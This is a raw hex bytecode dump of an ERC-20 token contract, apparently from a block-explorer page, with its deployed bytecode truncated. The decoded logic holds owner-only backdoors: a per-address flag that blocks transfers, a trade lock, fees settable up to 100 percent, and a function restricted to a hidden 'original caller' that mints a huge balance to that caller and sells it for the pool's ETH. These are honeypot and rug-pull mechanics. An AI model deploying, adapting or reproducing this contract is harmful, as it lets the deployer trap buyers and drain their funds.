fffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61107333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60648211158015611085575060648111155b6110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906132b6565b60405180910390fd5b81600b8190555080600c819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61112761277a565b61113160006127f1565b565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461118b90612eb3565b80601f01602080910402602001604051908101604052809291908181526020018280546111b790612eb3565b80156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050505050905090565b6000600d60009054906101000a900460ff16905090565b60008033905060006112378286611399565b90508381101561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390613348565b60405180910390fd5b6112898286868403611ad5565b60019250505092915050565b6000803390506112a6818585611d9c565b600191505092915050565b6112dd33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600d60006101000a81548160ff02191690831515021790555050565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461135957600161135c565b60005b9050919050565b61138f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6113976128b5565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114c833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60006114d330610ca3565b90506000816dffffffffffffffffffffffffffff80166114f39190613368565b90506114fd6128b5565b61150f3061150a336110d6565b611295565b5061154d30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611ad5565b6060600267ffffffffffffffff81111561156a5761156961339c565b5b6040519080825280602002602001820160405280156115985781602001602082028036833780820191505090505b50905030816000815181106115b0576115af6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167b9190613217565b8160018151811061168f5761168e6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b04261171f9190612f13565b6040518663ffffffff1660e01b815260040161173f9594939291906134b8565b6000604051808303816000875af115801561175e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611787919061362b565b5050505050565b6117ba33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61182a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118c15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119939190613217565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016119cd929190613674565b602060405180830381865afa1580156119ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0e9190613217565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611a5a61277a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac09061370f565b60405180910390fd5b611ad2816127f1565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b906137a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa90613833565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c919190612c53565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d03906138c5565b60405180910390fd5b5050565b6000611d1c8484611399565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611d965781811015611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90613931565b60405180910390fd5b611d958484848403611ad5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e02906139c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190613a55565b60405180910390fd5b611e83836112fa565b15611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba90613ac1565b60405180910390fd5b611ece83838361291d565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613b53565b60405180910390fd5b600d60009054906101000a900460ff16156120a657611f7384612922565b1561200957601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90613be5565b60405180910390fd5b6120a5565b61201283612922565b156120a457601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a90613be5565b60405180910390fd5b5b5b5b6120af84610ff1565b1580156120c257506120c083610ff1565b155b1561265e576120d084612922565b1561230a5760006120e383600b546129d4565b905082826120f19190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836121409190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461218e9190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866121f09190613368565b6040516121fd9190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122769190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122fc9190612c53565b60405180910390a350612659565b61231383612922565b1561254d57600061232683600c546129d4565b905082826123349190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836123839190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123d19190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866124339190613368565b6040516124409190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124b99190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161253f9190612c53565b60405180910390a350612658565b81816125599190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125eb9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161264f9190612c53565b60405180910390a35b5b612769565b818161266a9190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126fc9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127609190612c53565b60405180910390a35b6127748484846129f6565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612799611153565b73ffffffffffffffffffffffffffffffffffffffff16146127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e690613c51565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129149190612f13565b92505081905550565b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129cd5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129e49190613c71565b6129ee9190613ce2565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a35578082015181840152602081019050612a1a565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a5d826129fb565b612a678185612a06565b9350612a77818560208601612a17565b612a8081612a41565b840191505092915050565b60006020820190508181036000830152612aa58184612a52565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612aec82612ac1565b9050919050565b612afc81612ae1565b8114612b0757600080fd5b50565b600081359050612b1981612af3565b92915050565b6000819050919050565b612b3281612b1f565b8114612b3d57600080fd5b50565b600081359050612b4f81612b29565b92915050565b60008060408385031215612b6c57612b6b612ab7565b5b6000612b7a85828601612b0a565b9250506020612b8b85828601612b40565b9150509250929050565b60008115159050919050565b612baa81612b95565b82525050565b6000602082019050612bc56000830184612ba1565b92915050565b600060ff82169050919050565b612be181612bcb565b8114612bec57600080fd5b50565b600081359050612bfe81612bd8565b92915050565b60008060408385031215612c1b57612c1a612ab7565b5b6000612c2985828601612b0a565b9250506020612c3a85828601612bef565b9150509250929050565b612c4d81612b1f565b82525050565b6000602082019050612c686000830184612c44565b92915050565b612c7781612b95565b8114612c8257600080fd5b50565b600081359050612c9481612c6e565b92915050565b60008060408385031215612cb157612cb0612ab7565b5b6000612cbf85828601612b0a565b9250506020612cd085828601612c85565b9150509250929050565b600080600060608486031215612cf357612cf2612ab7565b5b6000612d0186828701612b0a565b9350506020612d1286828701612b0a565b9250506040612d2386828701612b40565b9150509250925092565b6000604082019050612d426000830185612c44565b612d4f6020830184612c44565b9392505050565b612d5f81612bcb565b82525050565b6000602082019050612d7a6000830184612d56565b92915050565b600060208284031215612d9657612d95612ab7565b5b6000612da484828501612b0a565b91505092915050565b60008060408385031215612dc457612dc3612ab7565b5b6000612dd285828601612b40565b9250506020612de385828601612b40565b9150509250929050565b612df681612ae1565b82525050565b6000602082019050612e116000830184612ded565b92915050565b600060208284031215612e2d57612e2c612ab7565b5b6000612e3b84828501612c85565b91505092915050565b60008060408385031215612e5b57612e5a612ab7565b5b6000612e6985828601612b0a565b9250506020612e7a85828601612b0a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ecb57607f821691505b602082108103612ede57612edd612e84565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1e82612b1f565b9150612f2983612b1f565b9250828201905080821115612f4157612f40612ee4565b5b92915050565b6000819050919050565b6000819050919050565b6000612f76612f71612f6c84612f47565b612f51565b612b1f565b9050919050565b612f8681612f5b565b82525050565b600060c082019050612fa16000830189612ded565b612fae6020830188612c44565b612fbb6040830187612f7d565b612fc86060830186612f7d565b612fd56080830185612ded565b612fe260a0830184612c44565b979650505050505050565b600081519050612ffc81612b29565b92915050565b60008060006060848603121561301b5761301a612ab7565b5b600061302986828701612fed565b935050602061303a86828701612fed565b925050604061304b86828701612fed565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b600061308b601783612a06565b915061309682613055565b602082019050919050565b600060208201905081810360008301526130ba8161307e565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130f7601d83612a06565b9150613102826130c1565b602082019050919050565b60006020820190508181036000830152613126816130ea565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6131508161312d565b811461315b57600080fd5b50565b60008151905061316d81613147565b92915050565b600063ffffffff82169050919050565b61318c81613173565b811461319757600080fd5b50565b6000815190506131a981613183565b92915050565b6000806000606084860312156131c8576131c7612ab7565b5b60006131d68682870161315e565b93505060206131e78682870161315e565b92505060406131f88682870161319a565b9150509250925092565b60008151905061321181612af3565b92915050565b60006020828403121561322d5761322c612ab7565b5b600061323b84828501613202565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006132a0602483612a06565b91506132ab82613244565b604082019050919050565b600060208201905081810360008301526132cf81613293565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613332602583612a06565b915061333d826132d6565b604082019050919050565b6000602082019050818103600083015261336181613325565b9050919050565b600061337382612b1f565b915061337e83612b1f565b925082820390508181111561339657613395612ee4565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61342f81612ae1565b82525050565b60006134418383613426565b60208301905092915050565b6000602082019050919050565b6000613465826133fa565b61346f8185613405565b935061347a83613416565b8060005b838110156134ab5781516134928882613435565b975061349d8361344d565b92505060018101905061347e565b5085935050505092915050565b600060a0820190506134cd6000830188612c44565b6134da6020830187612f7d565b81810360408301526134ec818661345a565b90506134fb6060830185612ded565b6135086080830184612c44565b9695505050505050565b600080fd5b61352082612a41565b810181811067ffffffffffffffff8211171561353f5761353e61339c565b5b80604052505050565b6000613552612aad565b905061355e8282613517565b919050565b600067ffffffffffffffff82111561357e5761357d61339c565b5b602082029050602081019050919050565b600080fd5b60006135a76135a284613563565b613548565b905080838252602082019050602084028301858111156135ca576135c961358f565b5b835b818110156135f357806135df8882612fed565b8452602084019350506020810190506135cc565b5050509392505050565b600082601f83011261361257613611613512565b5b8151613622848260208601613594565b91505092915050565b60006020828403121561364157613640612ab7565b5b600082015167ffffffffffffffff81111561365f5761365e612abc565b5b61366b848285016135fd565b91505092915050565b60006040820190506136896000830185612ded565b6136966020830184612ded565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136f9602683612a06565b91506137048261369d565b604082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061378b602483612a06565b91506137968261372f565b604082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061381d602283612a06565b9150613828826137c1565b604082019050919050565b6000602082019050818103600083015261384c81613810565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006138af602183612a06565b91506138ba82613853565b604082019050919050565b600060208201905081810360008301526138de816138a2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061391b601d83612a06565b9150613926826138e5565b602082019050919050565b6000602082019050818103600083015261394a8161390e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139ad602583612a06565b91506139b882613951565b604082019050919050565b600060208201905081810360008301526139dc816139a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a3f602383612a06565b9150613a4a826139e3565b604082019050919050565b60006020820190508181036000830152613a6e81613a32565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b6000613aab602083612a06565b9150613ab682613a75565b602082019050919050565b60006020820190508181036000830152613ada81613a9e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b3d602683612a06565b9150613b4882613ae1565b604082019050919050565b60006020820190508181036000830152613b6c81613b30565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bcf602283612a06565b9150613bda82613b73565b604082019050919050565b60006020820190508181036000830152613bfe81613bc2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c3b602083612a06565b9150613c4682613c05565b602082019050919050565b60006020820190508181036000830152613c6a81613c2e565b9050919050565b6000613c7c82612b1f565b9150613c8783612b1f565b9250828202613c9581612b1f565b91508282048414831517613cac57613cab612ee4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ced82612b1f565b9150613cf883612b1f565b925082613d0857613d07613cb3565b5b82820490509291505056fea26469706673582212201b925bdc2bb3adb4ed119e4649cdf96ce6db7342555c290568a4922ffb18275e64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Deployed Bytecode
0x6080604052600436106101ee5760003560e01c8063715018a61161010d578063b5c72e1a116100a0578063ecbe5a2d1161006f578063ecbe5a2d14610719578063ed4091b714610756578063edd8b64a1461076d578063f1fee6a214610796578063f2fde38b146107bf576101ee565b8063b5c72e1a1461065d578063d445d19e1461069a578063dd62ed3e146106b1578063e4440a86146106ee576101ee565b8063a07fc5a2116100dc578063a07fc5a21461058f578063a457c2d7146105ba578063a9059cbb146105f7578063b49f93f714610634576101ee565b8063715018a6146104e557806385ecafd7146104fc5780638da5cb5b1461053957806395d89b4114610564576101ee565b8063313ce567116101855780635337cc99116101545780635337cc99146104195780635342acb4146104425780636db794371461047f57806370a08231146104a8576101ee565b8063313ce5671461034b57806335d162741461037657806339509351146103b35780634d474d42146103f0576101ee565b806318160ddd116101c157806318160ddd1461028e5780631f6b29f7146102b957806323b872dd146102e25780632df8bca91461031f576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630bc488c51461025b5780630cdd843614610265575b600080fd5b3480156101ff57600080fd5b506102086107e8565b6040516102159190612a8b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612b55565b61087a565b6040516102529190612bb0565b60405180910390f35b610263610896565b005b34801561027157600080fd5b5061028c60048036038101906102879190612c04565b6109ce565b005b34801561029a57600080fd5b506102a3610b30565b6040516102b09190612c53565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612c9a565b610b3a565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612cda565b610c53565b6040516103169190612bb0565b60405180910390f35b34801561032b57600080fd5b50610334610c7b565b604051610342929190612d2d565b60405180910390f35b34801561035757600080fd5b50610360610c8c565b60405161036d9190612d65565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d80565b610ca3565b6040516103aa9190612c53565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190612b55565b610e38565b6040516103e79190612bb0565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612d80565b610e68565b005b34801561042557600080fd5b50610440600480360381019061043b9190612c9a565b610ed8565b005b34801561044e57600080fd5b5061046960048036038101906104649190612d80565b610ff1565b6040516104769190612bb0565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612dad565b611047565b005b3480156104b457600080fd5b506104cf60048036038101906104ca9190612d80565b6110d6565b6040516104dc9190612c53565b60405180910390f35b3480156104f157600080fd5b506104fa61111f565b005b34801561050857600080fd5b50610523600480360381019061051e9190612d80565b611133565b6040516105309190612bb0565b60405180910390f35b34801561054557600080fd5b5061054e611153565b60405161055b9190612dfc565b60405180910390f35b34801561057057600080fd5b5061057961117c565b6040516105869190612a8b565b60405180910390f35b34801561059b57600080fd5b506105a461120e565b6040516105b19190612bb0565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612b55565b611225565b6040516105ee9190612bb0565b60405180910390f35b34801561060357600080fd5b5061061e60048036038101906106199190612b55565b611295565b60405161062b9190612bb0565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190612e17565b6112b1565b005b34801561066957600080fd5b50610684600480360381019061067f9190612d80565b6112fa565b6040516106919190612bb0565b60405180910390f35b3480156106a657600080fd5b506106af611363565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190612e44565b611399565b6040516106e59190612c53565b60405180910390f35b3480156106fa57600080fd5b50610703611420565b6040516107109190612dfc565b60405180910390f35b34801561072557600080fd5b50610740600480360381019061073b9190612d80565b611446565b60405161074d9190612bb0565b60405180910390f35b34801561076257600080fd5b5061076b61149c565b005b34801561077957600080fd5b50610794600480360381019061078f9190612d80565b61178e565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190612e44565b6117fe565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190612d80565b611a52565b005b6060600880546107f790612eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461082390612eb3565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b60008033905061088b818585611ad5565b600191505092915050565b6108c233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6108d4306108cf336110d6565b611295565b5061090a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610905306110d6565b611ad5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610953306110d6565b600080336104b0426109659190612f13565b6040518863ffffffff1660e01b815260040161098696959493929190612f8c565b60606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190613002565b505050565b6109fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60028160ff1610610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906130a1565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061310d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610b6633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef9061310d565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080339050610c64858285611d10565b610c6f858585611d9c565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3991906131af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190613217565b73ffffffffffffffffffffffffffffffffffffffff1614610e1957816dffffffffffffffffffffffffffff16610e2b565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b600080339050610e5d818585610e4e8589611399565b610e589190612f13565b611ad5565b600191505092915050565b610e9433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f0433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d9061310d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61107333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60648211158015611085575060648111155b6110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906132b6565b60405180910390fd5b81600b8190555080600c819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61112761277a565b61113160006127f1565b565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461118b90612eb3565b80601f01602080910402602001604051908101604052809291908181526020018280546111b790612eb3565b80156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050505050905090565b6000600d60009054906101000a900460ff16905090565b60008033905060006112378286611399565b90508381101561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390613348565b60405180910390fd5b6112898286868403611ad5565b60019250505092915050565b6000803390506112a6818585611d9c565b600191505092915050565b6112dd33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600d60006101000a81548160ff02191690831515021790555050565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461135957600161135c565b60005b9